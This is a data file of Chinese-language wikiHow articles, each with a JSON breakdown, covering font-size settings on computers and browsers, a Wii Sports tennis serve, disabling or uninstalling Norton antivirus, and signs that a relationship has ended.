点击下拉菜单中的选项。\\n这样会打开“选项”页面。\\n在Mac电脑，点击下拉菜单中的。\\n4-5. 往下滚动到“语言和外观”部分。\\n它就在“选项”页面中靠近顶端的位置。\\n4-6. 点击“语言和外观”部分右下方的高级。\\n屏幕上会弹出一个窗口。\\n4-7. 取消勾选“允许页面选择自己的字体代替您的上述选择”方框。\\n它就在弹出窗口中靠近底部的位置。\\n4-8. 点击弹出窗口中间的“最小字体大小”下拉框，打开一个下拉菜单。\\n\\n4-9. 点击一个字体大小。\\n从下拉菜单中，点击你希望浏览器使用的最小字体大小。\\n4-10. 点击窗口底部的确定。\\n如果你选择大于24的字体大小，火狐浏览器会警告你某些页面可能无法使用。\\n4-11. 重启火狐浏览器。\\n关闭火狐浏览器，再重新打开，确保你更改的设置应用到日后打开的所有页面。\\n5. Microsoft Edge浏览器\\n5-1. 打开Microsoft Edge浏览器。\\n点击或双击Microsoft Edge浏览器应用，它的图标是一个蓝色或白色的字母“e”。\\n想要更改网页浏览器的菜单项大小，需要使用电脑的“放大镜”功能。\\n5-2. 点击窗口右上角的⋯。\\n屏幕上会出现一个下拉菜单。\\n5-3. 放大或缩小。\\n在下拉菜单的“缩放”部分中，点击图标来缩小字体，点击图标来放大字体。\\nMicrosoft Edge和许多浏览器不同，用这个菜单放大或缩小某个网页，也会应用到其它网页。\\n6. Safari浏览器\\n6-1. 打开Safari浏览器。\\n点击或双击Mac“程序坞”中的Safari应用，图标像一个蓝色指南针。\\n想要更改网页浏览器的菜单项大小，需要使用Mac电脑的“缩放”功能。\\n6-2. 尝试更改某个网页的字体大小。\\n如果只需要放大或缩小某个网页的字体，可以用键盘快捷键来达到目的。这只对当前网页有效，清除浏览器的cookie后可能需要重复缩放操作：\\n前往要更改字体大小的网页。\\n按住Ctrl（Windows）或Command（Mac）。\\n按住Ctrl或Command不放，然后按下+来放大字体。\\n按住Ctrl或Command不放，然后按下-来缩小字体。\\n点击，然后点击下拉菜单中的，就能回到网页的原始大小。\\n6-3. 点击屏幕左上角的Safari浏览器菜单项。\\n这样会打开一个下拉菜单。\\n6-4. 点击Safari浏览器下拉菜单中的偏好设置。\\n\\n6-5. 点击高级选项卡。\\n它就在“偏好设置”窗口的右上方。\\n6-6. 勾选“从不使用小于以下大小的字体”方框。\\n它就在“辅助功能”的选项列表中。\\n6-7. 点击“从不使用小于以下大小的字体”这行字右边的“9”下拉框。\\n这样会打开一个下拉菜单。\\n6-8. 选择一个字体大小。\\n从下拉菜单中，点击一个数字作为浏览器默认的字体大小。\\n6-9. 重启Safari浏览器。\\n把它关掉，再重新打开，确保你更改的字体大小设置应用到浏览器。\\n小提示\\n使用电脑的“放大镜”或“缩放”功能可以迅速放大屏幕上的项目，不需要重置任何功能的设置。\\n警告\\n你无法通过Windows电脑的“设置”菜单缩小字体，可以选择的最小字体是100%。\\n\", \"简要回答\": \"本文会教你更改Windows电脑、Mac电脑以及网页浏览器的字体大小。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"Windows电脑\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开“开始”菜单。\", \"描述\": \"点击屏幕左下角的Windows徽标。\"}, {\"编号\": 2, \"标题\": \"打开“设置”。\", \"描述\": \"点击“开始”窗口左下方的齿轮图标。\"}, {\"编号\": 3, \"标题\": \"点击系统。\", \"描述\": \"它就在“设置”窗口左上方，图标是一个电脑显示屏。\"}, {\"编号\": 4, \"标题\": \"点击窗口左上角的显示选项卡。\", \"描述\": \"\"}, {\"编号\": 5, \"标题\": \"点击“更改文本、应用和其他项目的大小”下拉框。\", \"描述\": \"它就在“设置”窗口靠近中间的位置。屏幕上会出现一个下拉菜单。\"}, {\"编号\": 6, \"标题\": \"点击一个字体大小。\", \"描述\": \"从出现的下拉框中，选取你要放大的比例。\\n最小的字体大小是。\\n有些文本大小需要重启电脑后更改才会生效。\"}, {\"编号\": 7, \"标题\": \"考虑使用“放大镜”。\", \"描述\": \"这个功能让你能够放大查看屏幕上的项目，同时不用更改其它设置：\\n同时按下Win和+来打开放大镜。你也可以在“开始”菜单输入放大镜，然后点击打开它。\\n点击缩小到最小100%。\\n点击放大到最大1600%。\\n将光标放在屏幕其中一角来进行平移。\"}]}, {\"编号\": 2, \"标题\": \"Mac电脑\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开“访达”。\", \"描述\": \"点击Mac“程序坞”中的“访达”应用，它的图标看起来像一张蓝脸。\"}, {\"编号\": 2, \"标题\": \"点击屏幕左上角的显示菜单项。\", \"描述\": \"这样会打开一个下拉菜单。\"}, {\"编号\": 3, \"标题\": \"点击下拉菜单中的查看显示选项。\", \"描述\": \"这样会弹出一个窗口。\"}, {\"编号\": 4, \"标题\": \"点击“字体大小”下拉框。\", \"描述\": \"它就在弹出的“显示选项”窗口中靠近顶端的位置。\"}, {\"编号\": 5, \"标题\": \"选择一个字体大小。\", \"描述\": \"从出现的下拉菜单中，选择你想使用的字体大小。\\n如果你更改了“访达”的显示方式，需要重新调整字体大小。\"}, {\"编号\": 6, \"标题\": \"更改边栏大小。\", \"描述\": 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\"这样会打开一个下拉菜单。\"}, {\"编号\": 4, \"标题\": \"点击Safari浏览器下拉菜单中的偏好设置。\", \"描述\": \"\"}, {\"编号\": 5, \"标题\": \"点击高级选项卡。\", \"描述\": \"它就在“偏好设置”窗口的右上方。\"}, {\"编号\": 6, \"标题\": \"勾选“从不使用小于以下大小的字体”方框。\", \"描述\": \"它就在“辅助功能”的选项列表中。\"}, {\"编号\": 7, \"标题\": \"点击“从不使用小于以下大小的字体”这行字右边的“9”下拉框。\", \"描述\": \"这样会打开一个下拉菜单。\"}, {\"编号\": 8, \"标题\": \"选择一个字体大小。\", \"描述\": \"从下拉菜单中，点击一个数字作为浏览器默认的字体大小。\"}, {\"编号\": 9, \"标题\": \"重启Safari浏览器。\", \"描述\": \"把它关掉，再重新打开，确保你更改的字体大小设置应用到浏览器。\"}], \"小提示\": [\"使用电脑的“放大镜”或“缩放”功能可以迅速放大屏幕上的项目，不需要重置任何功能的设置。\\n\"], \"注意事项\": [\"你无法通过Windows电脑的“设置”菜单缩小字体，可以选择的最小字体是100%。\\n\"]}]}}",
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} | wikihow |
14,720 | 如何在Wii Sports的网球游戏中发高速球 | 1. 步骤
1-1. 开始Wii Sports网球比赛。
如果想练习发球，那就选择和电脑比赛。练习模式中无法练习发球。
1-2. 等待自己的发球局。
只有在自己的发球局才能练习高速发球。
1-3. 按“A”抛球。
不要急着发球，先找到发球的时机。
1-4. 估算一下球达到最高点所需的时间。
球会在某个点停留一小段时间，然后让球落到手上，这样你就能大致掌握发球的时机。
1-5. 再次抛球，当球到达最高点时甩动Wii遥控器。
在球处于最高点时甩动Wii遥控器。如果时机正确，球就会开始冒烟，以极快的速度飞出去。
球速和甩动的速度没有关系，只要在球到达最高点时甩动就行。
1-6. 多加练习。
需要不断练习才能稳定地发出高速球。要想经常发出高速球，就必须熟练掌握发球时机。
1-7. 灵活运用各种发球技巧。
就算掌握了高速发球，也不要每次都用。对手很快就会习惯，并轻松发起反击。相反，应该时不时地发几次高速球，让对手摸不准你的招数。
小提示
始终将目光集中在球上，这样更容易击球，从而与对手形成拉锯战。对手会因为疲惫而出现失误，借此机会拿下一分。
坐着更容易发出高速球。
警告
不要一直用，建议只在比分落后时，或在比赛开始或结束阶段使用，否则对手很快就会摸清你的套路。
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"回答明细": "{\"回答\": \"1. 步骤\\n1-1. 开始Wii Sports网球比赛。\\n如果想练习发球，那就选择和电脑比赛。练习模式中无法练习发球。\\n1-2. 等待自己的发球局。\\n只有在自己的发球局才能练习高速发球。\\n1-3. 按“A”抛球。\\n不要急着发球，先找到发球的时机。\\n1-4. 估算一下球达到最高点所需的时间。\\n球会在某个点停留一小段时间，然后让球落到手上，这样你就能大致掌握发球的时机。\\n1-5. 再次抛球，当球到达最高点时甩动Wii遥控器。\\n在球处于最高点时甩动Wii遥控器。如果时机正确，球就会开始冒烟，以极快的速度飞出去。\\n球速和甩动的速度没有关系，只要在球到达最高点时甩动就行。\\n1-6. 多加练习。\\n需要不断练习才能稳定地发出高速球。要想经常发出高速球，就必须熟练掌握发球时机。\\n1-7. 灵活运用各种发球技巧。\\n就算掌握了高速发球，也不要每次都用。对手很快就会习惯，并轻松发起反击。相反，应该时不时地发几次高速球，让对手摸不准你的招数。\\n小提示\\n始终将目光集中在球上，这样更容易击球，从而与对手形成拉锯战。对手会因为疲惫而出现失误，借此机会拿下一分。\\n坐着更容易发出高速球。\\n警告\\n不要一直用，建议只在比分落后时，或在比赛开始或结束阶段使用，否则对手很快就会摸清你的套路。\\n\", \"简要回答\": \"在玩Wii Sports网球游戏的专家级难度时，是不是很向往对手的发球速度？是不是也想发出快得冒烟的高速球？本文会介绍新的发球动作，稍加练习后你也能做到。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"步骤\", \"步骤\": [{\"编号\": 1, \"标题\": \"开始Wii Sports网球比赛。\", \"描述\": \"如果想练习发球，那就选择和电脑比赛。练习模式中无法练习发球。\"}, {\"编号\": 2, \"标题\": \"等待自己的发球局。\", \"描述\": \"只有在自己的发球局才能练习高速发球。\"}, {\"编号\": 3, \"标题\": \"按“A”抛球。\", \"描述\": \"不要急着发球，先找到发球的时机。\"}, {\"编号\": 4, \"标题\": \"估算一下球达到最高点所需的时间。\", \"描述\": \"球会在某个点停留一小段时间，然后让球落到手上，这样你就能大致掌握发球的时机。\"}, {\"编号\": 5, \"标题\": \"再次抛球，当球到达最高点时甩动Wii遥控器。\", \"描述\": \"在球处于最高点时甩动Wii遥控器。如果时机正确，球就会开始冒烟，以极快的速度飞出去。\\n球速和甩动的速度没有关系，只要在球到达最高点时甩动就行。\"}, {\"编号\": 6, \"标题\": \"多加练习。\", \"描述\": \"需要不断练习才能稳定地发出高速球。要想经常发出高速球，就必须熟练掌握发球时机。\"}, {\"编号\": 7, \"标题\": \"灵活运用各种发球技巧。\", \"描述\": \"就算掌握了高速发球，也不要每次都用。对手很快就会习惯，并轻松发起反击。相反，应该时不时地发几次高速球，让对手摸不准你的招数。\"}], \"小提示\": [\"始终将目光集中在球上，这样更容易击球，从而与对手形成拉锯战。对手会因为疲惫而出现失误，借此机会拿下一分。\\n\", \"坐着更容易发出高速球。\\n\"], \"注意事项\": [\"不要一直用，建议只在比分落后时，或在比赛开始或结束阶段使用，否则对手很快就会摸清你的套路。\\n\"]}]}}",
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} | wikihow |
14,721 | 如何关闭诺顿杀毒软件 | 1. 禁用诺顿杀毒软件（Windows系统）
1-1. 在电脑的系统盘中找到诺顿图标。
诺顿软件的图标一般位于Windows桌面的右下角、时钟图标的旁边。此处显示的图标意味着这些程序正处于运行状态。如果你看不到诺顿图标，点击“▴”按钮来显示所有隐藏的图标。
1-2. 右键点击诺顿图标。
这会打开一个小的选项菜单。选择“禁用杀毒软件的自动防护功能”选项。这是诺顿杀毒软件的活动功能部分。禁用后，就会关闭杀毒软件的保护功能。
1-3. 选择持续时间。
你可以选择并设定禁用杀毒防护功能的持续时间。杀毒软件的防护功能会在指定的时间段内被禁用，你可以选择“至系统再次重启前”禁用防护功能，也可以选择“永久禁用”。浏览网页时最好不要禁用杀毒软件的防护功能。
1-4. 重启防护功能。
如果完成了需要禁用杀毒软件防护功能的任务之后，你可以右键点击诺顿的图标，选择“启用自动防护”。
2. 卸载诺顿杀毒软件（Windows）
2-1. 打开Windows程序管理器。
你可以从开始菜单进入控制面板，来管理所有的程序。选择“程序和功能”或“添加或移除程序”。
Windows 8用户可以按下Win+X进入控制面板界面，然后选择“程序和功能”。
2-2. 找到“诺顿杀毒软件”程序。
在程序列表中，你可能会看到多个诺顿软件，首先选择第一个诺顿杀毒程序。选中它并点击卸载或更改/移除按钮。
2-3. 选择是否保留你的偏好设置。
程序会询问你是否保留你的偏好设置（以防你再次安装该程序）或移除你所有的数据。如果你想彻底卸载诺顿，你可以选择删除所有设置、偏好参数和文件。
2-4. 选择是否保留“Norton Identity Safe”软件。
这是由诺顿推荐使用的一款身份安全及密码信用卡信息管理工具。如果你不想留存它，可以点击“不，谢谢”选项。
2-5. 等待卸载过程的完成。
整个卸载过程可能需要花费几分钟时间。
2-6. 重启你的电脑。
卸载软件后，需要重启计算机才能使卸载生效。重启电脑后，Windows会通知你电脑上没有安装任何杀毒软件了。
2-7. 下载诺顿移除工具。
这个工具是由赛门铁克公司（诺顿程序开发者）发布的、可以移除所有诺顿软件组件的卸载工具。在诺顿程序安装错误的情况下，这个工具可以帮助你清除所有的诺顿组件。
在常用的搜索引擎中输入“诺顿移除工具”，搜索并下载诺顿移除工具。官方发布的移除工具通常位于搜索结果的首位。
运行移除工具。你需要接受许可证协议并输入验证码，才能验证身份并运行移除工具。
删除组件后，重启你的计算机。
3. 卸载诺顿网络防护（OS X）
3-1. 打开诺顿网络防护程序。
你可以在应用文件夹中找到它。
3-2. 启动卸载程序。
点击“诺顿网络防护” → “卸载”。点击卸载进行确认。
3-3. 输入管理员信息。
你需要输入这些信息才能删除程序。
3-4. 重启电脑。
重启电脑才能完成删除。
3-5. 下载RemoveSymantecMacFiles工具。
它是Symantec（诺顿的开发者）提供的清除诺顿软件的工具。这一步很重要，因为删除诺顿后，电脑中会留下很多文件。
使用搜索引擎搜索“RemoveSymantecMacFiles”并下载。它应该是第一个搜索结果。
解压下载的ZIP文件。
运行RemoveSymantecMacFiles.command。点击打开进行确认。
输入管理员密码。你输入的密码并不会显示。你必须设定一个管理员密码，这一步没有密码是不能进行的，而且没有密码也很不安全。
按下1，然后按下返回，删除所有Symantec文件。按下2 退出。
按下Y重启电脑，然后按下返回
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"回答明细": "{\"回答\": \"1. 禁用诺顿杀毒软件（Windows系统）\\n1-1. 在电脑的系统盘中找到诺顿图标。\\n诺顿软件的图标一般位于Windows桌面的右下角、时钟图标的旁边。此处显示的图标意味着这些程序正处于运行状态。如果你看不到诺顿图标，点击“▴”按钮来显示所有隐藏的图标。\\n1-2. 右键点击诺顿图标。\\n这会打开一个小的选项菜单。选择“禁用杀毒软件的自动防护功能”选项。这是诺顿杀毒软件的活动功能部分。禁用后，就会关闭杀毒软件的保护功能。\\n1-3. 选择持续时间。\\n你可以选择并设定禁用杀毒防护功能的持续时间。杀毒软件的防护功能会在指定的时间段内被禁用，你可以选择“至系统再次重启前”禁用防护功能，也可以选择“永久禁用”。浏览网页时最好不要禁用杀毒软件的防护功能。\\n1-4. 重启防护功能。\\n如果完成了需要禁用杀毒软件防护功能的任务之后，你可以右键点击诺顿的图标，选择“启用自动防护”。\\n2. 卸载诺顿杀毒软件（Windows）\\n2-1. 打开Windows程序管理器。\\n你可以从开始菜单进入控制面板，来管理所有的程序。选择“程序和功能”或“添加或移除程序”。\\nWindows 8用户可以按下Win+X进入控制面板界面，然后选择“程序和功能”。\\n2-2. 找到“诺顿杀毒软件”程序。\\n在程序列表中，你可能会看到多个诺顿软件，首先选择第一个诺顿杀毒程序。选中它并点击卸载或更改/移除按钮。\\n2-3. 选择是否保留你的偏好设置。\\n程序会询问你是否保留你的偏好设置（以防你再次安装该程序）或移除你所有的数据。如果你想彻底卸载诺顿，你可以选择删除所有设置、偏好参数和文件。\\n2-4. 选择是否保留“Norton Identity Safe”软件。\\n这是由诺顿推荐使用的一款身份安全及密码信用卡信息管理工具。如果你不想留存它，可以点击“不，谢谢”选项。\\n2-5. 等待卸载过程的完成。\\n整个卸载过程可能需要花费几分钟时间。\\n2-6. 重启你的电脑。\\n卸载软件后，需要重启计算机才能使卸载生效。重启电脑后，Windows会通知你电脑上没有安装任何杀毒软件了。\\n2-7. 下载诺顿移除工具。\\n这个工具是由赛门铁克公司（诺顿程序开发者）发布的、可以移除所有诺顿软件组件的卸载工具。在诺顿程序安装错误的情况下，这个工具可以帮助你清除所有的诺顿组件。\\n在常用的搜索引擎中输入“诺顿移除工具”，搜索并下载诺顿移除工具。官方发布的移除工具通常位于搜索结果的首位。\\n运行移除工具。你需要接受许可证协议并输入验证码，才能验证身份并运行移除工具。\\n删除组件后，重启你的计算机。\\n3. 卸载诺顿网络防护（OS X）\\n3-1. 打开诺顿网络防护程序。\\n你可以在应用文件夹中找到它。\\n3-2. 启动卸载程序。\\n点击“诺顿网络防护” → “卸载”。点击卸载进行确认。\\n3-3. 输入管理员信息。\\n你需要输入这些信息才能删除程序。\\n3-4. 重启电脑。\\n重启电脑才能完成删除。\\n3-5. 下载RemoveSymantecMacFiles工具。\\n它是Symantec（诺顿的开发者）提供的清除诺顿软件的工具。这一步很重要，因为删除诺顿后，电脑中会留下很多文件。\\n使用搜索引擎搜索“RemoveSymantecMacFiles”并下载。它应该是第一个搜索结果。\\n解压下载的ZIP文件。\\n运行RemoveSymantecMacFiles.command。点击打开进行确认。\\n输入管理员密码。你输入的密码并不会显示。你必须设定一个管理员密码，这一步没有密码是不能进行的，而且没有密码也很不安全。\\n按下1，然后按下返回，删除所有Symantec文件。按下2 退出。\\n按下Y重启电脑，然后按下返回\\n\", \"简要回答\": \"诺顿杀毒软件可以保护你的计算机免受病毒的感染以及恶意间谍软件的攻击。另一方面，在安装其它程序时，可能会出现与诺顿软件不兼容的问题，导致误杀，进而导致系统故障。有时候诺顿杀毒软件也会明显地减缓电脑的运行速度。遭遇此类问题时，关闭诺顿杀毒软件也许能有效解决故障问题。如果诺顿软件会带来一系列的问题和故障，那我们建议您最好卸载诺顿杀毒软件。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"禁用诺顿杀毒软件（Windows系统）\", \"步骤\": [{\"编号\": 1, \"标题\": \"在电脑的系统盘中找到诺顿图标。\", \"描述\": \"诺顿软件的图标一般位于Windows桌面的右下角、时钟图标的旁边。此处显示的图标意味着这些程序正处于运行状态。如果你看不到诺顿图标，点击“▴”按钮来显示所有隐藏的图标。\"}, {\"编号\": 2, \"标题\": \"右键点击诺顿图标。\", \"描述\": \"这会打开一个小的选项菜单。选择“禁用杀毒软件的自动防护功能”选项。这是诺顿杀毒软件的活动功能部分。禁用后，就会关闭杀毒软件的保护功能。\"}, {\"编号\": 3, \"标题\": \"选择持续时间。\", \"描述\": \"你可以选择并设定禁用杀毒防护功能的持续时间。杀毒软件的防护功能会在指定的时间段内被禁用，你可以选择“至系统再次重启前”禁用防护功能，也可以选择“永久禁用”。浏览网页时最好不要禁用杀毒软件的防护功能。\"}, {\"编号\": 4, \"标题\": \"重启防护功能。\", \"描述\": \"如果完成了需要禁用杀毒软件防护功能的任务之后，你可以右键点击诺顿的图标，选择“启用自动防护”。\"}]}, {\"编号\": 2, \"标题\": \"卸载诺顿杀毒软件（Windows）\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开Windows程序管理器。\", \"描述\": \"你可以从开始菜单进入控制面板，来管理所有的程序。选择“程序和功能”或“添加或移除程序”。\\nWindows 8用户可以按下Win+X进入控制面板界面，然后选择“程序和功能”。\"}, {\"编号\": 2, \"标题\": \"找到“诺顿杀毒软件”程序。\", \"描述\": \"在程序列表中，你可能会看到多个诺顿软件，首先选择第一个诺顿杀毒程序。选中它并点击卸载或更改/移除按钮。\"}, {\"编号\": 3, \"标题\": \"选择是否保留你的偏好设置。\", \"描述\": \"程序会询问你是否保留你的偏好设置（以防你再次安装该程序）或移除你所有的数据。如果你想彻底卸载诺顿，你可以选择删除所有设置、偏好参数和文件。\"}, {\"编号\": 4, \"标题\": \"选择是否保留“Norton Identity Safe”软件。\", \"描述\": \"这是由诺顿推荐使用的一款身份安全及密码信用卡信息管理工具。如果你不想留存它，可以点击“不，谢谢”选项。\"}, {\"编号\": 5, \"标题\": \"等待卸载过程的完成。\", \"描述\": \"整个卸载过程可能需要花费几分钟时间。\"}, {\"编号\": 6, \"标题\": \"重启你的电脑。\", \"描述\": \"卸载软件后，需要重启计算机才能使卸载生效。重启电脑后，Windows会通知你电脑上没有安装任何杀毒软件了。\"}, {\"编号\": 7, \"标题\": \"下载诺顿移除工具。\", \"描述\": \"这个工具是由赛门铁克公司（诺顿程序开发者）发布的、可以移除所有诺顿软件组件的卸载工具。在诺顿程序安装错误的情况下，这个工具可以帮助你清除所有的诺顿组件。\\n在常用的搜索引擎中输入“诺顿移除工具”，搜索并下载诺顿移除工具。官方发布的移除工具通常位于搜索结果的首位。\\n运行移除工具。你需要接受许可证协议并输入验证码，才能验证身份并运行移除工具。\\n删除组件后，重启你的计算机。\"}]}, {\"编号\": 3, \"标题\": \"卸载诺顿网络防护（OS X）\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开诺顿网络防护程序。\", \"描述\": \"你可以在应用文件夹中找到它。\"}, {\"编号\": 2, \"标题\": \"启动卸载程序。\", \"描述\": \"点击“诺顿网络防护” → “卸载”。点击卸载进行确认。\"}, {\"编号\": 3, \"标题\": \"输入管理员信息。\", \"描述\": \"你需要输入这些信息才能删除程序。\"}, {\"编号\": 4, \"标题\": \"重启电脑。\", \"描述\": \"重启电脑才能完成删除。\"}, {\"编号\": 5, \"标题\": \"下载RemoveSymantecMacFiles工具。\", \"描述\": \"它是Symantec（诺顿的开发者）提供的清除诺顿软件的工具。这一步很重要，因为删除诺顿后，电脑中会留下很多文件。\\n使用搜索引擎搜索“RemoveSymantecMacFiles”并下载。它应该是第一个搜索结果。\\n解压下载的ZIP文件。\\n运行RemoveSymantecMacFiles.command。点击打开进行确认。\\n输入管理员密码。你输入的密码并不会显示。你必须设定一个管理员密码，这一步没有密码是不能进行的，而且没有密码也很不安全。\\n按下1，然后按下返回，删除所有Symantec文件。按下2 退出。\\n按下Y重启电脑，然后按下返回\"}]}]}}",
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14,722 | 如何知道感情已经结束 | 1. 观察自己的言语
1-1. 你们会不会经常吵架。
虽然偶尔争吵在一段恋情中是正常的，而且争吵也是一种沟通和解决争端的手段，但如果你们花费大量时间进行无意义的争吵，那就说明你们的恋情可能走到尽头了。如果你们只是为了争吵而争吵，或者争吵是你们唯一的沟通方法的时候，就意味着你们该结束了。如果出现了下面的一些现象，就说明你们的争吵就要失控了：
总是借故争吵。如果你或是你的伴侣总是因为鸡毛蒜皮的小事吵架，从而宣泄坏情绪，那么这就意味着你们只是在借机伤害对方。
一直争吵。注意一下，你们在一起的时间，有多少是在争吵中度过的。一周一到两次的小争吵是可以的，但如果你发觉，你们争吵的时间，要比你们在一起享乐、交流或是正常交谈的时间还要多的时候，就有问题了。
争吵没有任何进展。如果你们总是为了同一件事而争吵，双方各不相让，而且你知道永远不会有一方会做出退让的话，那么这段感情就没必要继续下去了。
你的朋友们都不想和你们在一起，因为你们总是在吵架。
1-2. 无法沟通。
在一段感情中，双方需要沟通、理解对方的需求和感受。如果你感觉你的伴侣无法理解你的感受，而你也不知道对方在想些什么，那么你们的感情就出现问题了。下面是一些有沟通障碍的现象：
你甚至连想都不想与伴侣分享你的感受和想法，因为你知道他根本不在意。
你的伴侣不与你分享他的感受，而你也并不想知道。
一方或双方都掩藏情绪。掩藏情绪意味着拒绝承认自己的悲伤，而不是坦诚地面对自己的情绪，让感情更深一步。如果每次你知道伴侣伤心去询问的时候，他都是耸耸肩说没事，那就麻烦了。
从不交流琐事，比如今天发生了什么，周末想怎么过，或是因为感冒而情绪低落等。
不将伴侣加以考虑。比如你不向伴侣提及周五晚上去哪消磨，或是和自己的朋友去喝一杯，你这样就是在把对方排除出自己的生活。
1-3. 从来不谈及未来。
这是个非常大的问题。如果你或你的伴侣从来不讨论超过一个月以外的事情，那么你们可能是在可以逃避，因为你们根本就无法想象和对方维持那么久的关系。这也意味着，你无法将你的伴侣规划进你未来的生活，因而，也就到了放弃这段感情的时候。下面的事例就说明，你无法接受与现在的伴侣面向未来：
你们已经交往很久了，但你从未提及关于未来的规划。或是，你很想有朝一日嫁给对方，但却从未提起过这件事。
你朋友有了小孩，而你也非常想有一个自己的孩子——和某个人——但你从未提起过这件事，因为你无法想象与现在的伴侣共同抚养孩子的情景。
你总是推迟回复朋友的婚礼邀约，因为你不知道该不该带伴侣同去，或者你甚至不知道婚礼当天你们还在不在一起。
你甚至不知道下个假期的时候你们还会不会在一起。
还有几个月就会有个大假期，但你从未提起这件事，因为你不知道该怎么消磨这个假期。
1-4. 不再甜言蜜语。
虽然每对情侣的相处模式不同，但至少每段感情都有一个基础维系。如果你和你的伴侣曾经共沐爱河，甜言蜜语，或经常互相发送爱的短讯，而现在却鲜少赞美对方，那么这段感情很可能要结束了。下面就是一些你们不再甜言蜜语的讯号：
二人不再相互欣赏。如果你不再夸奖对方有多么好看，事情做得多么好，或是你有多么为他感到骄傲的话，那就说明你不再欣赏对方了。
过去常说“我爱你”，而现在却不再说了。
过去常常发送甜蜜的短信或是打电话告诉对方，你有多么爱他或是多么想他，而现在只因为有事才打电话。
不再对他柔情蜜意。对伴侣讲话的时候就好像对一个普通朋友一样。
1-5. 逮到机会就中伤伴侣。
与密友倾诉在感情中遇到的问题，与和朋友抱怨你有多受不了自己的伴侣，或者和陌生人倾诉你受够了这段感情是有很大区别的。在一段健康的感情中，是不能随便向别人抱怨自己的另一半的，一旦你这么做了，就说明你不是那么尊重自己的另一半，并且只想尽快结束这段关系。
每一次和朋友谈论起你的另一半，你都是在抱怨的话，就说明你也并不看好这段感情。
如果你知道另一半也像你一样和朋友说自己的不好，也会非常难过的话，就应该知道和朋友分享这些事情是不太对的。
最严重的情况是你压根不告诉别人你已经有对象了。虽然不必一有约会对象就告诉大家，但如果已经有对象，甚至和对象同居之后，在遇到新朋友的时候，还假装自己是单身，并且和对方打情骂俏的话，那就是在说谎了。
2. 观察自己的想法和感受
2-1. 不再对恋人有憧憬。
虽然谈恋爱的时候不能“一直”保持激情，但如果你与恋人在一起时，总感到无聊，甚至一想起要与恋人见面就泄气的话，就说明你已经与对方没有感情了。下面是你们激情不再的一些证据：
你对晚上的约会，或是下班后的碰面完全没有期待。对于两人单独相处完全没有任何感觉，甚至丝毫期待也没有的话，就意味着你已经不爱对方了。
不再享受与另一半在一起的时光。你们相处的时候，总在绞尽脑汁想话题，想该做些时候的话，就说明你们遇到问题了。
喜欢和一大堆朋友在一起，胜过两人单独相处。你们总是喜欢邀请朋友们和你们一桶出行的话，就意味着你们的关系需要他人来帮忙维系。
当你见到，想起，或是与另一半讲话的时候，是不是还会紧张、手足无措。虽然这种感觉不会像你们第一次见面时那么明显，但至少还是会有一些蛛丝马迹的。
对方不会让你想要憧憬未来。你的另一半应该会让你想要与之携手，共同成长，共同建筑新的生活。但如果想到与之共度未来，你就会感到恐惧与害怕的话，那还是结束掉这段关系比较好。
2-2. 经常发白日梦。
在上一门无聊的课，或是工作间隙，发白日梦绝对是一种消磨时间的好方法。但如果你发现你总是在幻想分手之后的事情的时候，就说明你对这段关系过于失望。下面的一些现象就说明你对现在的恋情的态度有所保留：
经常会幻想自己如果是单身的话，会做什么事情，比如搬去一个新的地方住，旅行，尝试新鲜事物，或是有更多的时间和朋友在一起等等。
经常会幻想你班上的某个可人儿会约你出去玩。如果你经常想某个人，就说明你似乎已经爱上别人了。并不是那种无关痛痒的喜欢，而是想要用这个人把现在的对象取代。
在出去玩的时候，你总是想如果能告诉别人自己是单身该多么好。
2-3. 你会觉得你和恋人变成了两个完全不同的人。
也许在初次相遇的时候，你们有很多共同点，但你渐渐发现，你们不再有相同的目标、兴趣或者相似的信仰。如果你发现你和恋人变成了两个完全不同的人，完全没有共同点的话，那你们的关系就遇到麻烦了。如果你们没有共同成长的话，可能就会背道而驰了。下面是一些你们愈发不同的表象：
由于没有共同兴趣，无法交流。如果你们只是有各自不同的兴趣，但仍旧很想与对方分享的话，就没什么问题，但如果你们甚至懒得去与对方分享自己的兴趣爱好，因为毫无意义的话，就说明你们之间出现了问题。
你们有截然不同的人生目标，并且相互阻碍。如果你想环游世界，而对方只是想在离家人近的地方工作，那么你们的人生方向就非常不同。
信仰不同，每次提及就要争吵。如果你们的政治、宗教或其他信仰有根本上的差异，无法求同的话，你们的关系一定会出现问题。
在某种程度上，差异性也会导致相互吸引。与恋人有不同的信仰、兴趣和目标是可以的，但不能妄图让对方改变，也不能不与对方分享。
3. 观察自己的行为
3-1. 性生活不和谐。
虽然相处一段时间后，缺乏性生活的激情是常见的事情，但如果你感觉似乎永远提不起对对方的兴趣，甚至完全不想与对方有更多亲密的行为，那就说明你们之间除了很大的问题。下面就是一些常见的讯号：
不记得上一次的亲密行为是什么时候。真的么？已经过去多久了？
亲密行为只是在例行公事。如果你觉得亲密行为和去教堂或其他待办事项一样的话，那就只是在完成任务而已，没有任何欢愉。
无法与伴侣在亲密行为中得到欢愉。
你意识到，是因为自己缺乏吸引力，才一直没有和伴侣的亲密行为的。这是非常难以承认的事情。
3-2. 你或你的伴侣有出轨行为。
很多情侣可以允许一次、两次的出轨行为，但如果出轨成为常态，或是其中一方无法继续容忍的话，那么这段关系就要结束了。如果双发无法就一夫一妻达成共识的话，关系很难继续维系。
如果你的伴侣出轨了，而你无论如何都无法原谅对方的话，就结束掉这段关系吧。有时，信任一旦破裂，就没有再修复的必要了。在没受伤之前，尽快开始新生活吧。
在某些情况下，一次意外出轨是可以被原谅的，但如果你们中的一人或两人经常性出轨，甚至都心照不宣的情况下，那就意味着你们的关系已经结束了，当然，除非你们本就是开放性的朋友关系。
虽然没有不忠，但经常会对新认识的人心动、调情的话，就说明你对现阶段的感情不够专注。偶尔对异性心动是正常的，因为你不可能只被伴侣吸引，而不对其他异性有任何感觉。但如果次数太频繁，可能就意味着你需要开始下一段恋情了。
3-3. 这段恋情并没有对你的生活有所助益。
谈恋爱很耗神，但大部分时候会很有乐趣、很有助益。和对的人恋爱会让生活变得更有激情，会让自己变成一个更好的人，但如果这段恋情并没有对生活有任何改善，那为什么还要维系它呢？下面就是一些这段恋情并非那么适合你的讯号：
如果你并没觉得与对方在一起后，自己变得更好了，那可能是因为对方不那么适合你。
